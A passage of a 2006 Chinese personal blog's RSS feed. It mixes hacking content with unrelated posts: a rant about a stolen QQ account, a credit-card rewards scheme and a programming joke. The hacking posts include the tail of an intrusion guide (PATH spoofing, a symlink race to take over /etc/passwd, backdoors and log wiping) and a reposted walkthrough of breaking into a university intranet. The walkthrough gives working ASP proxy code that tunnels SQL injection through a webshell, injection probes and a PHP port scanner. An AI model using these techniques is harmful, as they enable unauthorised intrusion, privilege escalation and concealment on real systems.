/*程序调用了外部命令，但没有给出这个命令的绝对路径，这个是PATH欺骗的前提*/<BR>&gt;}<BR>&gt;EOF<BR>编译后的test文件具有s为，属主是root.这样设置是因为程序test执行时会以root身份运行特权命令，这样在他运行时由于调用的是我们伪造的ps命令程序，所以会产生一个root权限的SHELL环境。<BR>2，竞争条件<BR>一般指时序竞争，例如：<BR>fp=fopen(&quot;test.log&quot;,&quot;w+&quot;);<BR>chown(&quot;test.log&quot;,getuid(),getgid());<BR>原理也很简单，就是如果当前的程序运行时权限是euid=root,uid=当前用户，由于文件test.log在打开会执行将文件的属主改为当前用户，所以我们可以在执行完fopen之后，chown之前删了test.log，而创建了一个到/etc/passwd的符号链接，这样就会将/etc/passwd文件的属主改为当前的用户，当前的用户就可以在passwd文件中将自己的uid改为0，这样就取得了system权限。<BR>3，溢出和格式串漏洞<BR>导致这些漏洞的数据来源主要是：<BR>1，命令行参数<BR>2，环境变量<BR>3，特定格式文件的读取<BR>4，用户交互十的输入<BR>缓冲溢出的漏洞是有以下一些函数引起的：<BR>1，strcpy<BR>2, strcat<BR>3, sprintf<BR>4, vsprintf<BR>格式化串的漏洞和以下一些函数有关：<BR>1, print/vprintf<BR>2, fprintf/vfprintf<BR>3, sprintf/vsprintf<BR>4, snprintf/vsnprintf<BR>利用工具有objdump,elfedump查看目标是否有不安全的以上不安全的函数，如果有可以进行黑盒测试，进而进行返汇编分析程序的上下文和执行流程，利用strings可以静态查找目标的环境变量。<BR>六，攻击WWW<BR>现在的入侵事件，攻击WWW居多，原因也很简单，那就是程序员在编写WEB脚本程序时更本不注重安全因素，导致了上传shell,提升权限之类的严重后果，入侵渗透测试主要通过以下几个方面进行测试：<BR>1，搜索SQL注入点；<BR>2，搜索特定目录和文件，例如：上传程序文件，这个利用价值也很大；<BR>3，寻找管理员登陆网页，进行字典或者SQL饶过入侵；<BR>4，寻找WEB程序的源代码，进行漏洞挖掘，主要涉及的漏洞类型有：SQL注入，文件包含漏洞，目录跳转漏洞，以脚本文件格式保存错误日志漏洞，上传漏洞；<BR>5，在代码审核时，不要忘记对程序员犯的逻辑错误进行查看，例如：函数书写错误<BR>6，总是，漏洞的成因归根到底是由于对用户的输入没有进行严格的过滤。<BR>七，其他的入侵<BR>1，针对数据库MSSQL，MYSQL，ORACLE等数据库的入侵；<BR>2，针对路由，防火墙，IDS等网络设备的渗透<BR>3，无线入侵渗透<BR>八，入侵渗透以后<BR>1，在成功得到系统级别的权限以后，就要在目标留下后门方便以后进入，当然清楚日志是最为重要的收尾工作，这些方面也有很多的技术可以讨论，例如：后门的隐藏（WIN下的ADS是一个不错的隐藏程序的东东，日志的有选择删除及其伪造等等，这里就不详谈了。。<BR>]]></description>
		</item>
		    
		
		<item>
			<title>傻b真是越来越多了</title>
			<link>http://badlam.blog.sohu.com/869799.html</link>
			<comments>http://badlam.blog.sohu.com/869799.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Thu, 9 Feb 2006 16:46:49 +0800</pubDate>
			<guid>http://badlam.blog.sohu.com/869799.html</guid>
			<description><![CDATA[<P>最近真是倒霉,qq19418 叫人黑了. 连网银都密码错误.还好我发现的及时, 大年三十一早去把那里的钱</P><P>都取了.可是qq财富通里的钱就取不出来了.</P><P>最近玩游戏玩疯了, 很久没有上blog了.今天有人告诉我我blog上有人在说一些不堪入耳的话.</P><P>本来想一删了之,后来想想这样倒容易叫人产生误会,以为我真和那个sb有什么.</P><P>那个sb我问你,你要真和我象你说的那样你不会连我电话号码都不知道吧, 报上来听听?</P><P>还有我现在在什么地方?我叫什么名字?我的银行卡上用的什么名字?我是哪年的?</P><P>你不会不知道吧?</P><P>草你妈还一夜情呢, 你个sb再泡上10年你看会不会有你妈的情!</P><P>去baidu搜索了下,</P><P><A href="http://www.baidu.com/s?wd=13478959843&cl=3">http://www.baidu.com/s?wd=13478959843&amp;cl=3</A></P><P>结果搜索到了一条相关内容:</P><P><A href="http://www.52blog.net/user1/5968/archives/2005/284604.shtml">http://www.52blog.net/user1/5968/archives/2005/284604.shtml</A></P><P>今天中午13:10我拨打了下,说是关机.</P><P>草他妈的,真的林子大了,什么鸟都有.说的还真象那么回事.</P><P>广告做到这个份上,也够可以的了.</P><P>有没有朋友知道什么好办法整治一下.</P><P>对了, 要是qq19418 问大家借钱或者请求帮助什么的不要理他.</P><P>我现在的新qq87187, 有想加的朋友加吧, 不过最近上的少了, 总在玩游戏.</P><P>有时候我玩玩游戏, 再突然回到这个圈子里真有点恍若隔世的感觉.</P><P>唉, 生活就是这的吧~`</P><P>最后祝大家天天进步, 不要象我这样颓废了......</P>]]></description>
		</item>
		    
		
		<item>
			<title>新年好!送大家一个挣钱的好办法!</title>
			<link>http://badlam.blog.sohu.com/850574.html</link>
			<comments>http://badlam.blog.sohu.com/850574.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Tue, 7 Feb 2006 00:52:52 +0800</pubDate>
			<category>心情</category>
			<guid>http://badlam.blog.sohu.com/850574.html</guid>
			<description><![CDATA[<P>&nbsp;别以为在开玩笑, 是真的,不过国内 是否可行就难说了......</P><P><A href="http://blog.joycode.com/adam/archive/2006/01/15/70456.aspx">卡神－杨蕙如</A></P><P>今天看凤凰卫视报道了一个台湾的卡神,这位27岁名叫杨蕙如的台东女硕士，每月刷卡近千万（约250万），最牛的是靠刷卡来赚钱，三个月来已赚取上百万元。<BR>赚钱过程没有讲得特清楚，自己找了一些报道分析了一下，方法应该是这样的：<BR>在台湾有&ldquo;东森礼券&rdquo;，就是电视购物频道的购物券，可以使用信用卡来预付费，而且东森台有活动，花1万9就可以获得2万块的东森礼券，如礼券到期未使用，可以选择兑换2万元等值支票或换取2万元等值提货券，再加上4000块的购物折扣券。<BR>按照国内的1年期整存整取利息2.25来算，1年后24000元的现值应该是24000/1.0225=23471.88，太划算了，另外，中信商银（台湾的银行）只要每月预付800元会费，即可享受刷卡消费红利点数（类似国内的积分）8倍的优惠，外加千分之二的电信回馈金，杨小姐存好1年的年费后，找亲友集资600万作为提高个人信用额度及担保，一口气购买东森礼券600万元，然后亲友使用的杨小姐的联名卡，在网络上买下东森礼券，然后亲友又把礼券卖给杨小姐，来回捣腾，以至于可以获得800多万的红利点，换得n张头等舱机票，然后卖掉&hellip;&hellip;</P><P>我失业后估计也会去搞类似的事情，不过不知道这种事情能否长久，要搞还是应该去国外去搞。</P>]]></description>
		</item>
		    
		
		<item>
			<title>关于Realplayer牛X版网页木马生成器</title>
			<link>http://badlam.blog.sohu.com/764061.html</link>
			<comments>http://badlam.blog.sohu.com/764061.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Sun, 22 Jan 2006 05:26:01 +0800</pubDate>
			<category>技术</category>
			<guid>http://badlam.blog.sohu.com/764061.html</guid>
			<description><![CDATA[<P>群里看的</P><P>&nbsp;饿 狼&nbsp; (156219944) 05:17:41<BR>今天下载了个Realplayer牛X版网页木马生成器,打算做免杀的.</P><P>然后,发现index.htm的源代码很奇怪,好象是加密了,最下方调用了ENCODE过的JS文件.</P><P><A href="http://www.wocao.net/js/wocao.ocx">http://www.wocao.net/js/wocao.ocx</A>这个就是改了扩展名的JS文件,一样可以用.</P><P>然后我就下载了wocao.ocx文件,解了密,还是看不懂是什么意思.</P><P>过了一会,发现<A href="http://www.wocao.net/js/wocao.ocx">http://www.wocao.net/js/wocao.ocx</A>这个地址打不开了。很奇怪.</P><P>并且<A href="http://www.wocao.net/js/">http://www.wocao.net/js/</A>这个目录也不存在,而且需要密码.</P><P>我判断,一定是<A href="http://www.wocao.net">www.wocao.net</A>这个域名更新了指向的IP.指到一个普通的虚拟主机服务器上了.</P><P>当我把INDEX.HTM解密后,发现最下方有这么一段代码:</P><P>&lt;script src=\&quot;<A href="http://www.wocao.net/js/wocao2.ocx\">http://www.wocao.net/js/wocao2.ocx\</A>&quot; language=\&quot;JScript.Encode\&quot;&gt;&lt;/script&gt;</P><P>大家注意,这里的地址<A href="http://www.wocao.net/js/wocao2.ocx">http://www.wocao.net/js/wocao2.ocx</A>和<A href="http://www.wocao.net/js/wocao.ocx">http://www.wocao.net/js/wocao.ocx</A>这个地址很像,但不一样的。很明显,为了迷惑大家!!!~</P><P>我正准备看<A href="http://www.wocao.net/js/wocao2.ocx">http://www.wocao.net/js/wocao2.ocx</A>的内容时,才发现,www.wocao.net已经把域名指向给换了。.</P><P>日 !! </P><P>那个wocao2.ocx代码里一定加载了木马!!!!</P><P>还有,music.smi文件的SHELLCODE也有问题。本来是256个字节长度就可以触发缓冲区溢出漏洞的，结果他却把SHELLCODE弄得好大,有1.3几KB!!!!</P><P>知道这意味着什么么?很有可能在SHELLCODE里加了另一段后门代码!!</P><P>另外,根据作者BLOG上的留言评论来看,这个网马是加了后门的。口碑不好,请大家不要使用!!!</P><P>网页木马本身的逻辑也有问题。</P><P>当我把index.htm解密后,发现,INDEX.HTM根本就没调用到MUSIC.HTM文件,可生成器却说要调用,日!!!骗局!!!</P><P>不知道他搞什么名堂...</P><P>总之,一句话,这款网页木马就是垃圾,有不止一个后门!!!!请大家鄙视!!!</P><P>谢谢大家!!这是我忙了一个晚上的成果,谢谢!!<BR></P>]]></description>
		</item>
		    
		
		<item>
			<title>VB,VC,Delphi,SDK笑话</title>
			<link>http://badlam.blog.sohu.com/751920.html</link>
			<comments>http://badlam.blog.sohu.com/751920.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Fri, 20 Jan 2006 04:27:07 +0800</pubDate>
			<category>杂文</category>
			<guid>http://badlam.blog.sohu.com/751920.html</guid>
			<description><![CDATA[话说PD国<B><FONT color="#32cd32">VB</FONT></B>, <B><FONT color="#a52a2a">VC</FONT></B>,, <B><FONT color="#ff0000">Delphi</FONT></B>, ，<B><FONT color="#800080">SDK</FONT></B>一齐乘火车，走着走着，忽听咣一声响，火车头忽然裂为八瓣儿。火车走不了了。于是大家下车商讨对策。，<B><FONT color="#800080">SDK</FONT></B>说：&quot;这好办，看我的。&quot;，说着，，<B><FONT color="#800080">SDK</FONT></B>从身后拿出铁镐，斧头，大锅等一干工具。别人都以为，<B><FONT color="#800080">SDK</FONT></B>先要解决温饱问题，不想，<B><FONT color="#800080">SDK</FONT></B>一边架锅一边提出自己的解决方案：&quot;先砍一棵树，劈成木柴点起来，再在旁边岩壁上，挖一个矿井，产出铁矿石，练成钢后，便可以再造一个火车头了。&quot;。我考，其余人一齐恶到在地，在地上齐喊Cancel。<BR><BR>这时<B><FONT color="#a52a2a">VC</FONT></B>,说：&quot;火车头虽已四分五裂，但我们可以将这些部件的有用部分继承下来，做成一个新的。&quot;。 <B><FONT color="#ff0000">Delphi</FONT></B>点头称是，<B><FONT color="#32cd32">VB</FONT></B>半懂不懂。<B><FONT color="#a52a2a">VC</FONT></B>,一看基本获得通过，挽起袖子准备干活，不想走到近前，发现对火车头不甚了解，但这也难不倒<B><FONT color="#a52a2a">VC</FONT></B>,，只见<B><FONT color="#a52a2a">VC</FONT></B>,轻点F1，本想获得一些帮助，不想弹出一对话框：本系统没有安装<U><A href="http://blog.csdn.net/freexploit/category/57530.aspx" target="_blank">MSDN</A></U>。正当<B><FONT color="#a52a2a">VC</FONT></B>,准备晕倒之时， <B><FONT color="#ff0000">Delphi</FONT></B>从煤堆中翻出两张D版<U><A href="http://blog.csdn.net/freexploit/category/57530.aspx" target="_blank">MSDN</A></U>交给<B><FONT color="#a52a2a">VC</FONT></B>,，<B><FONT color="#a52a2a">VC</FONT></B>,用颤抖的双手将<U><A href="http://blog.csdn.net/freexploit/category/57530.aspx" target="_blank">MSDN</A></U>装上以后发现，这个版本的<U><A href="http://blog.csdn.net/freexploit/category/57530.aspx" target="_blank">MSDN</A></U>居然还是简体PD文版的，内容非常丰富，不仅有火车头，还有飞机头，汽车头等，另外还有各种动物的头，比如gui头。<B><FONT color="#a52a2a">VC</FONT></B>,点中火车头的热链接。&quot;啊，天哪！&quot;，<B><FONT color="#a52a2a">VC</FONT></B>,终于昏倒在地。 <B><FONT color="#ff0000">Delphi</FONT></B>与<B><FONT color="#32cd32">VB</FONT></B>凑近一看，原来简体PD文版只是个噱头，真正的文档都是M$文版的。<B><FONT color="#a52a2a">VC</FONT></B>,的方案终告失败。此时天空蔚蓝的仿佛篮屏。<BR><BR><B><FONT color="#32cd32">VB</FONT></B>眼珠一转想出了一个办法，砍倒了一些树，<B><FONT color="#32cd32">VB</FONT></B>居然用树做了一个象么象样但却比原来大许多倍的火车头。四人欢天喜地上了车，没想到火车纹丝不动， <B><FONT color="#ff0000">Delphi</FONT></B>问：&quot;这火车头怎么不动啊？&quot;。<B><FONT color="#32cd32">VB</FONT></B>说：&quot;兄弟，您还不了解我么，我做的东东什么时候能自己动啊？&quot;，&quot;那怎么办！&quot;，&quot;不着急，有上帝呐&quot;。这是天空中传来上帝耶和华&middot;比尔盖茨的声音：&quot;<B><FONT color="#32cd32">VB</FONT></B>，我从小看着你长大的孩子啊，我赐予你的火车头32个人的力量，让它run吧。&quot;。这时火车居然吱吱嘎嘎的行进起来，可是速度又慢又不稳定，没过多久火车又停了。<BR><BR>这时 <B><FONT color="#ff0000">Delphi</FONT></B>正在车厢中溜达，他发现，车厢的最后端有些大大小小的可以控制的件。于是 <B><FONT color="#ff0000">Delphi</FONT></B>招呼大家把这些件搬下车看看是什么东西，没想到这个中国式的车厢门太窄，于是大家就像蚂蚁似的续传着搬下了车。 <B><FONT color="#ff0000">Delphi</FONT></B>照着读我把这些件拼凑起来，没想到居然是一个崭新的火车头， <B><FONT color="#ff0000">Delphi</FONT></B>对着火车头道：&quot;别看我对你的这些件们的内部不了解，但我能把你们拼起来。&quot;。<BR>于是众人上了火车，又前行了。<BR><BR>]]></description>
		</item>
		    
		
		<item>
			<title>关于内网渗透我的一点思路</title>
			<link>http://badlam.blog.sohu.com/743291.html</link>
			<comments>http://badlam.blog.sohu.com/743291.html#comment</comments>
			<dc:creator>古典辣M&#38;#176;的书房</dc:creator>
			<pubDate>Wed, 18 Jan 2006 21:36:55 +0800</pubDate>
			<category>技术</category>
			<guid>http://badlam.blog.sohu.com/743291.html</guid>
			<description><![CDATA[<P>作者：jackal　<A href="http://www.3800cc.com/">www.3800cc.com</A></P><P>转载请注明作者和出处</P><P>内网渗透碰到一些问题,不过又发现一点好玩的东西.<BR>拿出来给大家看下,高手见笑了.<BR>注：这个是我们学校,请大家不要破坏,谢谢.不然我就死了.:(</P><P>考试成绩出来了,查分只能在校园内网教务处的站查(<A href="http://jwc.***.edu.cn/">http://jwc.***.edu.cn</A>),外网访问不了的.<BR>郁闷,上机卡丢了,不想跑去学校机房,想突破下.<BR>狗*运,竟然得到了www2.***.edu.cn的webshell <BR>方法:注射,上传,溢出,别的我也不会了.<BR>P颠P颠的登上去,WScript.Shell都没禁止,上天真是厚待我啊.<BR>准备直接开个代理,内网渗透开始-_-|<BR>顺手一个ipconfig,傻了.两个IP根本就不一样.<BR>202.***.144.7<BR>220.1**.195.134</P><P><IMG style="DISPLAY: block; MARGIN: 0px auto 10px; TEXT-ALIGN: center" alt="0512231.jpg" src="http://3800cc.com/soft/UploadSoftPic/200512/0512231.jpg" border="0"><BR>简单分析下:<BR>校园网有两条线,一个是本地的ISP分配给的公网IP,一个是教育网.<BR>外部网络(本例为我)通过ISP访问学校网站,路由将80端口的数据转向给内部的一台主机HTTP服务.</P><P>现在的思路是利用lcx,再反弹出一个SOCK的代理服务.<BR>但是这里老出问题,连上我的总是ISP的IP,还是不能访问内网.</P><P><IMG style="DISPLAY: block; MARGIN: 0px auto 10px; TEXT-ALIGN: center" alt="0512232.jpg" src="http://3800cc.com/soft/UploadSoftPic/200512/0512232.jpg" border="0"></P><P>郁闷到死,我演示一下的好.220.1**.195.129</P><P>换个思路.<BR>ASP里面有个不错的函数,大家也用的很多,就是XMLHTTP,大家用的iget.vbs还有就是大家熟悉的ASP小偷程序都有应用.这也是前几天生成静态页面时想出来的.</P><P><IMG style="DISPLAY: block; MARGIN: 0px auto 10px; TEXT-ALIGN: center" alt="0512233.jpg" src="http://3800cc.com/soft/UploadSoftPic/200512/0512233.jpg" border="0"></P><P>代码：(xml.asp)</P><P>&lt;%'容错处理<BR>On Error Resume Next<BR>%&gt;<BR>&lt;%<BR>Function getHTTPPage(url)<BR>&nbsp;&nbsp;&nbsp; dim objXML<BR>&nbsp;&nbsp;&nbsp; set objXML=server.createobject(&quot;MSXML2.XMLHTTP&quot;)'定义<BR>&nbsp;&nbsp;&nbsp; objXML.open &quot;GET&quot;,url,false'打开<BR>&nbsp;&nbsp;&nbsp; objXML.send()'发送<BR>&nbsp;&nbsp;&nbsp; If objXML.readystate&lt;&gt;4 then '判断文档是否已经解析完，以做客户端接受返回消息<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit function<BR>&nbsp;&nbsp;&nbsp; End If<BR>&nbsp;&nbsp;&nbsp; getHTTPPage=BytesToBstr(objXML.responseBody)'返回信息，同时用函数定义编码<BR>&nbsp;&nbsp;&nbsp; set objXML=nothing'关闭<BR>&nbsp;&nbsp;&nbsp; if err.number&lt;&gt;0 then err.Clear <BR>End Function</P><P>Function BytesToBstr(body)<BR>dim objstream<BR>set objstream = Server.CreateObject(&quot;adodb.stream&quot;)<BR>&nbsp;&nbsp;&nbsp; objstream.Type = 1<BR>&nbsp;&nbsp;&nbsp; objstream.Mode =3<BR>&nbsp;&nbsp;&nbsp; objstream.Open<BR>&nbsp;&nbsp;&nbsp; objstream.Write body<BR>&nbsp;&nbsp;&nbsp; objstream.Position = 0<BR>&nbsp;&nbsp;&nbsp; objstream.Type = 2<BR>&nbsp;&nbsp;&nbsp; objstream.Charset = &quot;GB2312&quot;&nbsp; <BR>&nbsp;&nbsp;&nbsp; '转换原来默认的UTF-8编码转换成GB2312编码，否则直接用XMLHTTP调用有中文字符的网页得到的将是乱码<BR>&nbsp;&nbsp;&nbsp; BytesToBstr = objstream.ReadText <BR>objstream.Close<BR>set objstream = nothing<BR>End Function</P><P>%&gt;<BR>&lt;%'生成HTML页面<BR>Dim Url,Html<BR>url=request(&quot;url&quot;)<BR>if url&lt;&gt;&quot;&quot; then<BR>Html = getHTTPPage(Url)<BR>response.write Html<BR>end if<BR>%&gt;<BR>&lt;form action=&quot;&quot; method=post&gt;<BR>内网：&lt;input type=text name=url size=&quot;100&quot; value=&lt;%=url%&gt;&gt;<BR>&lt;input type=submit value=&quot;提交拉&quot;&gt;<BR>&lt;/form&gt;</P><P><BR>我们来实验一下,因为相对路径的问题,不能显示图片,和有的链接.(不知道相对路径的自己google)<BR>看.返回了页面,一个ASP的系统哦.大家也都知道校园网的安全-_-!<BR>来找下注射点,随便一个,注意相对路径.<BR>and 1=1返回正确<BR>and 1=2哈,出错了!<BR>再来and <A href="mailto:1=@@version">1=@@version</A>;<BR>有了工具后,我可不喜欢手工来,累死.<BR>翠花,上工具,准备工作是我们要重新写下代码.<BR>很简单将URL定死,只接受我们的构造语句.</P><P><IMG style="DISPLAY: block; MARGIN: 0px auto 10px; TEXT-ALIGN: center" alt="0512234.jpg" src="http://3800cc.com/soft/UploadSoftPic/200512/0512234.jpg" border="0"><BR>-----------------a.asp---------------------------<BR>url=request(&quot;id&quot;)<BR>if url&lt;&gt;&quot;&quot; then<BR>url=&quot;<A href="http://jw.***.edu.cn/sjyjwc/gzjb/gzjb.asp?id=">http://jw.***.edu.cn/sjyjwc/gzjb/gzjb.asp?id=&quot;&amp;url</A></P><P><IMG style="DISPLAY: block; MARGIN: 0px auto 10px; TEXT-ALIGN: center" alt="0512235.jpg" src="http://3800cc.com/soft/UploadSoftPic/200512/0512235.jpg" border="0"><BR>--------------------------------------------------<BR>最后成格式成a.asp?id=1这样的,便于工具利用.<BR>看我演示.其实只要有exec master..xp_cmdshell 'dir',直接执行程序.<BR>就省下了很多事情,可惜我这里不行,只是给大家思路.汗~</P><P>其实我们不仅仅拿来注射内网,还可以拿来做代理扫描的.<BR>只要将刚才的地址修改就可以了。再来演示一下。<BR>我们看一下这时的连接，看到了本机访问肉鸡的IP，和肉鸡访问的本机的记录，两个IP不一样，难道内网机器通过代理上网?不大明白了。<BR>-----------------------------------------------<BR>9&nbsp;&nbsp;&nbsp; 60.0.*.5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 220.1*4.1**.129&nbsp;&nbsp; 41524&nbsp;&nbsp; <BR>10&nbsp;&nbsp; 60.0.*.5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1284&nbsp;&nbsp;&nbsp; 220.1*4.1**.134&nbsp;&nbsp; 80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </P><P>到这里就该结束了，最后说下内网注射的缺点，在交互的页面，也就是说如果只能扫描出web管理员的用户名和密码，如何找出管理登陆的页面和如何登陆就是个大问题了。还在想&hellip;&hellip;</P><P>有个折中的办法，如果我们得到内网的一台普通的机器，运气好的话，返回的是它的内网IP，这些问题就解决了。(没有测试环境，猜测中。)<BR>lcx+sock我们就可以把自己也变成内网。现在是如何得到内网的IP?</P><P><BR>有两种方法，主页挂马，得到内网用户的IP。不喜欢，这样我主页我就保不久了。<BR>另外一种，自己扫描，没怎么找到命令行下的工具，nmap有点庞大，就自己写了一个在线的IP扫描器，修改angel的端口扫描器。</P><P><IMG style="DISPLAY: block; MARGIN: 0px auto 10px; TEXT-ALIGN: center" alt="0512238.jpg" src="http://3800cc.com/soft/UploadSoftPic/200512/0512238.jpg" border="0"></P><P>找到打开135，139的机器，试试IPC和MS05039溢出。</P><P><IMG style="DISPLAY: block; MARGIN: 0px auto 10px; TEXT-ALIGN: center" alt="0512239.jpg" src="http://3800cc.com/soft/UploadSoftPic/200512/0512239.jpg" border="0"><BR>后面未验证，有什么错误，请大家指正，谢谢。</P><P>附我的ip扫描器代码：</P><P></P><P>&lt;?php </P><P>//Codz by angel <BR>error_reporting(7);<BR>$youip=$_SERVER[&quot;REMOTE_ADDR&quot;]; // 获取本机IP地址 <BR>$remoteip=$_POST[&quot;ip1&quot;]; // 获取表单提交的IP地址 <BR>$ip2=$_POST[&quot;ip2&quot;]; // 获取表单提交的IP地址 <BR>$port=$_POST[&quot;port&quot;]; // 获取表单提交的IP端口<BR>?&gt; <BR>&lt;html&gt; <BR>&lt;head&gt; <BR>&lt;title&gt;LoveXia IP扫描器&lt;/title&gt; <BR>&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt; <BR>&lt;style TYPE=&quot;text/css&quot;&gt; <BR>&lt;!-- <BR>BODY { FONT-SIZE: 12px; FONT-FAMILY: Verdana;color:#000000; <BR>} <BR>TD { <BR>FONT-SIZE: 12px; <BR>FONT-FAMILY: Verdana; <BR>color:#000000; <BR>line-height: 14px; <BR>} <BR>.style1 {color: #FFFFFF} <BR>--&gt; <BR>&lt;/style&gt; <BR>&lt;/head&gt; <BR>&lt;body&gt; <BR>&lt;center&gt; <BR>&lt;?php <BR>if (!empty($remoteip)){ <BR>// 如果表单不为空就进入IP地址格式的判断 </P><P>function err() { <BR>die(&quot;对不起，该IP地址不合法&lt;p&gt;&lt;a href=javascript:history.back(1)&gt;点击这里返回&lt;/a&gt;&quot;); <BR>} <BR>// 定义提交错误IP的提示信息 </P><P>$ips=explode(&quot;.&quot;,$remoteip); <BR>// 用.分割IP地址 </P><P>if (intval($ips[0])&lt;1 or intval($ips[0])&gt;255 or intval($ips[3])&lt;1 or intval($ips[3]&gt;255)) err(); <BR>// 如果第一段和最后一段IP的数字小于1或者大于255，则提示出错 </P><P>if (intval($ips[1])&lt;0 or intval($ips[1])&gt;255 or intval($ips[2])&lt;0 or intval($ips[2]&gt;255)) err(); <BR>// 如果第二段和第三段IP的数字小于0或者大于255，则提示出错 <BR>$ip=$ips[0].&quot;.&quot;.$ips[1].&quot;.&quot;.$ips[2].&quot;.&quot;;<BR>// 通过IP格式的检查后用数组定义各端口对应的服务名称及状态 </P><P>echo &quot;&lt;strong&gt;您扫描的IP：&lt;font color=red&gt;&quot;.$remoteip.&quot;&lt;/font&gt;&lt;/strong&gt;\n&quot;; <BR>echo &quot;&lt;a href=ip.php&gt;&lt;font color=#000000&gt;继续扫描&gt;&gt;&gt;&lt;/font&gt;&lt;/a&gt;&lt;p&gt;\n&quot;; <BR>// 输出显示的表格 </P><P>for($i=$ips[3];$i&lt;$ip2;$i++) <BR>{ <BR>$fp = @fsockopen($ip.$i, $port, &amp;$errno, &amp;$errstr, 1); <BR>if (!$fp) { <BR>echo $ip.$i.&quot;--------&quot;.$port.&quot;is closed&lt;br&gt;\n&quot;;<BR>} else { <BR>echo &quot;&lt;strong&gt;&lt;font color=red&gt;&quot;.$ip.$i.&quot;--------&quot;.$port.&quot;is open&lt;/font&gt;&lt;/strong&gt;&lt;br&gt;\n&quot;;<BR>} <BR>} <BR>// 用for语句，分别用fsockopen函数连接远程主机的相关端口，并输出结果 <BR>exit; <BR>} <BR>// 探测结束 </P><P>echo &quot;&lt;table border=0 cellpadding=15 cellspacing=0&gt;\n&quot;; <BR>echo &quot;&lt;tr&gt;\n&quot;; <BR>echo &quot;&lt;td align=center&gt;&lt;strong&gt;您的IP：&lt;font color=red&gt;&quot;.$youip.&quot;&lt;/font&gt;&lt;/strong&gt;&lt;/td&gt;\n&quot;; <BR>echo &quot;&lt;/tr&gt;\n&quot;; <BR>echo &quot;&lt;form method=POST action=ip.php&gt;\n&quot;; <BR>echo &quot;&lt;tr&gt;&lt;td&gt;\n&quot;; <BR>echo &quot;ip:&lt;input type=text name=ip1 size=12&gt;-\n&quot;; <BR>echo &quot;&lt;input type=text name=ip2 size=5&gt;\n&quot;; <BR>echo &quot;port:&lt;input type=text name=port size=5&gt;\n&quot;; <BR>echo &quot;&lt;input type=submit value=扫描 name=scan&gt;\n&quot;; <BR>echo &quot;&lt;/td&gt;&lt;/tr&gt;\n&quot;; <BR>echo &quot;&lt;/form&gt;&quot;; <BR>echo &quot;&lt;/table&gt;\n&quot;; <BR>// 如果表单为空则显示提交IP地址的表单 </P><P>?&gt; </P><P>&lt;TABLE cellSpacing=0 cellPadding=10 width=&quot;100%&quot; border=0&gt; <BR>&lt;TR&gt; <BR>&lt;TD align=center&gt;&lt;b&gt;Jackal Change Security Angel Portscanner&lt;/b&gt;&lt;/TD&gt; <BR>&lt;/TR&gt; <BR>&lt;/TABLE&gt; <BR>&lt;/center&gt; <BR>&lt;/body&gt; <BR>&lt;/html&gt; </P>]]></description>
		</item>
		    
		
	</channel>
</rss>
